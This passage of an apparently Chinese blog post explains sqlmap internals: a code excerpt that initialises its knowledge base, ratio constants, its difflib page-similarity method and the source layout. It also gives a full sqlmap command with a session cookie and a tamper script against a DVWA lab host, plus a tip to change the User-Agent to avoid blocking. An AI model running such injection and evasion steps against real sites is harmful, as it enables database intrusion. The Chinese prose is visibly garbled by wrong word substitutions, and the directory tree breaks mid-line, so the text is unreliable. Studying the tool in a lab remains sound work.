      conf.boundaries = []
      conf.cj = None
      conf.dbmsConnector = None
      conf.dbmsHandler = None
      conf.dnsServer = None
      conf.dumpPath = None
      conf.hashDB = None
      conf.hashDBFile = None
      conf.httpCollector = None
      conf.httpHeaders = []
      conf.hostname = None
      conf.ipv6 = False
      conf.multipleTargets = False
      conf.outputPath = None
      conf.paramDict = {}
      conf.parameters = {}
      conf.path = None
      conf.port = None
      conf.proxyList = None
      conf.resultsFP = None
      conf.scheme = None
      conf.tests = []
      conf.trafficFP = None
      conf.HARCollectorFactory = None
      conf.fileWriteType = None
     
     
     def _setKnowledgeBaseAttributes(flushAll=True):
      """This function set some needed attributes into the knowledge base singleton."""
    
      debugMsg = "initializing the knowledge base"
      logger.debug(debugMsg)
      kb.alerted = False                                    
      kb.aliasName = randomStr()
      kb.alwaysRefresh = None
      kb.arch = None
      kb.authHeader = None
      kb.bannerFp = AttribDict()
      kb.base64Originals = {}
      kb.binaryField = False
      kb.browserVerification = None
    
      kb.brute = AttribDict({"tables": [], "columns": []})
      kb.bruteMode = False
    
      kb.cache = AttribDict()
      kb.cache.addrinfo = {}
      kb.cache.content = {}
      kb.cache.encoding = {}
      kb.cache.alphaBoundaries = None
      kb.cache.hashRegex = None
      kb.cache.intBoundaries = None
      kb.cache.parsedDbms = {}
      kb.cache.regex = {}
      kb.cache.stdev = {}
    
      kb.captchaDetected = None
    
      kb.chars = AttribDict()
      kb.chars.delimiter = randomStr(length=6, lowercase=True)
      kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
      kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
      kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))
    
      kb.codePage = None
      kb.columnExistsChoice = None
      kb.commonOutputs = None
      kb.connErrorChoice = None
      kb.connErrorCounter = 0
      kb.cookieEncodeChoice = None
      kb.copyExecTest = None
      kb.counters = {}
      kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
      kb.data = AttribDict()
      kb.dataOutputFlag = False
    
      # Active back-end DBMS fingerprint
      kb.dbms = None
      kb.dbmsFilter = []
      kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
    
      kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
      kb.dep = None
      kb.disableHtmlDecoding = False
      kb.dnsMode = False
      kb.dnsTest = None
      kb.docRoot = None
      kb.droppingRequests = False
      kb.dumpColumns = None
      kb.dumpTable = None
      kb.dumpKeyboardInterrupt = False
      kb.dynamicMarkings = []
      kb.dynamicParameter = False
      kb.endDetection = False
      kb.explicitSettings = set()
      kb.extendTests = None
      kb.errorChunkLength = None
      kb.errorIsNone = True
      kb.falsePositives = []
      kb.fileReadMode = False
      kb.fingerprinted = False
      kb.followSitemapRecursion = None
      kb.forcedDbms = None
      kb.forcePartialUnion = False
      kb.forceThreads = None
      kb.forceWhere = None
      kb.forkNote = None
      kb.futileUnion = None
      kb.fuzzUnionTest = None
      kb.heavilyDynamic = False
      kb.headersFile = None
      kb.headersFp = {}
      kb.heuristicDbms = None
      kb.heuristicExtendedDbms = None
      kb.heuristicMode = False
      kb.heuristicPage = False
      kb.heuristicTest = None
      kb.hintValue = ""
      kb.htmlFp = []
      kb.httpErrorCodes = {}
      kb.inferenceMode = False
      kb.ignoreCasted = None
      kb.ignoreNotFound = False
      kb.ignoreTimeout = False
      kb.identifiedWafs = set()
      kb.injection = InjectionDict()
      kb.injections = []
      kb.laggingChecked = False
      kb.lastParserStatus = None
      kb.lastCtrlCTime = None
    
      kb.locks = AttribDict()
      for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
          kb.locks[_] = threading.Lock()
    
      kb.matchRatio = None
      kb.maxConnectionsFlag = False
      kb.mergeCookies = None
      kb.multipleCtrlC = False
      kb.negativeLogic = False
      kb.nullConnection = None
      kb.oldMsf = None
      kb.orderByColumns = None
      kb.originalCode = None
      kb.originalPage = None
      kb.originalPageTime = None
      kb.originalTimeDelay = None
      kb.originalUrls = dict()
    
      # Back-end DBMS underlying operating system fingerprint via banner (-b)
      # parsing
      kb.os = None
      kb.osVersion = None
      kb.osSP = None
    
      kb.pageCompress = True
      kb.pageTemplate = None
      kb.pageTemplates = dict()
      kb.pageEncoding = DEFAULT_PAGE_ENCODING
      kb.pageStable = None
      kb.partRun = None
      kb.permissionFlag = False
      kb.postHint = None
      kb.postSpaceToPlus = False
      kb.postUrlEncode = True
      kb.prependFlag = False
      kb.processResponseCounter = 0
      kb.previousMethod = None
      kb.processUserMarks = None
      kb.proxyAuthHeader = None
      kb.queryCounter = 0
      kb.randomPool = {}
      kb.redirectChoice = None
      kb.reflectiveMechanism = True
      kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
      kb.requestCounter = 0
      kb.resendPostOnRedirect = None
      kb.resolutionDbms = None
      kb.responseTimes = {}
      kb.responseTimeMode = None
      kb.responseTimePayload = None
      kb.resumeValues = True
      kb.rowXmlMode = False
      kb.safeCharEncode = False
      kb.safeReq = AttribDict()
      kb.secondReq = None
      kb.serverHeader = None
      kb.singleLogFlags = set()
      kb.skipSeqMatcher = False
      kb.smokeMode = False
      kb.reduceTests = None
      kb.tlsSNI = {}
      kb.stickyDBMS = False
      kb.storeHashesChoice = None
      kb.suppressResumeInfo = False
      kb.tableFrom = None
      kb.technique = None
      kb.tempDir = None
      kb.testMode = False
      kb.testOnlyCustom = False
      kb.testQueryCount = 0
      kb.testType = None
      kb.threadContinue = True
      kb.threadException = False
      kb.tableExistsChoice = None
      kb.uChar = NULL
      kb.udfFail = False
      kb.unionDuplicates = False
      kb.unionTemplate = None
      kb.webSocketRecvCount = None
      kb.wizardMode = False
      kb.xpCmdshellAvailable = False
    
      if flushAll:
          kb.checkSitemap = None
          kb.headerPaths = {}
          kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
          kb.normalizeCrawlingChoice = None
          kb.passwordMgr = None
          kb.preprocessFunctions = []
          kb.skipVulnHost = None
          kb.storeCrawlingChoice = None
          kb.tamperFunctions = []     #管制 tamper 脚本的变量
          kb.targets = OrderedSet()
          kb.testedParams = set()
          kb.userAgents = None
          kb.vainRun = True
          kb.vulnHosts = set()
          kb.wafFunctions = []
          kb.wordlists = None
    
  • 一些定义的常量在 lib/core/settings.py 里

    # Minimum distance of ratio from kb.matchRatio to result in True
    DIFF_TOLERANCE = 0.05
    CONSTANT_RATIO = 0.9
    
    # Ratio used in heuristic check for WAF/IPS protected targets
    IPS_WAF_CHECK_RATIO = 0.5
    
    # Timeout used in heuristic check for WAF/IPS protected targets
    IPS_WAF_CHECK_TIMEOUT = 10
    
    # Lower and upper values for match ratio in case of stable page
    LOWER_RATIO_BOUND = 0.02
    UPPER_RATIO_BOUND = 0.98

2.2 PageRatio 算法
sqlmap 的页面类似度算法次要用了 difflib 模块的 SequenceMatcher 这个类。简略来说这个类应用了 Ratcliff 和 Obershelp 提供的算法,匹配最长雷同的字符串,设定无关字符(junk)。在理论应用中,他们利用最多的办法应该就是 ratio()。sqlmap 并不仅仅是间接计算页面的类似度,而是通过首先对页面进行一些预处理,预处理之后,依据预设的阈值来计算申请页面和模版页面的类似度。

3、代码构造
sqlmap
|___sqlmap.py   主入口
|___data  存储数据
|___extra
|___lib   次要逻辑管制处
    |___controller      次要是逻辑流程
    |   |___handler.py   检测数据库类型
    |   |___controller.py    模块的主入口,见 start()函数,初始的各种检测
    |   |___checks.py   各种检测的实现
    |   |___action.py   检测到注入点后,|___core        次要是各种数据处理
        |___settings.py 各种配置
        |___enums.py   配置
        |___option.py  依据配置做的一些初始化操作
        |___common.py  初始化的数据处理

其余细节点

  • 删除历史数据:/root/.local/share/sqlmap/output/192.168.50.137/session.sqlite
  • Sqlmap client 加 headers、tamper、显示具体数据:new -u “http://192.168.50.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –tamper=space2fuzzdefined –headers=”Cookie: security=low; PHPSESSID=jjjnpgulfevirq0grtten9qtbg” -v 4
  • sqlmap 须要改 User-agent 头,否则会被拦挡。多个申请头用‘\n’ 宰割

参考文档

fuzz:https://blog.csdn.net/weixin_…
tamper:https://www.cnblogs.com/r00tu…
算法:https://paper.seebug.org/729/
算法:https://cl0udg0d.github.io/20…
tf-idf 算法:https://zhuanlan.zhihu.com/p/…
余弦:https://www.cnblogs.com/airne…
余弦:http://www.ruanyifeng.com/blo…
simhash:https://blog.csdn.net/lengye7…
sqlmap 外围三篇:https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/… https://zhuanlan.zhihu.com/p/…、
sqlmap 参数:https://blog.csdn.net/haha13l…

正文完
 0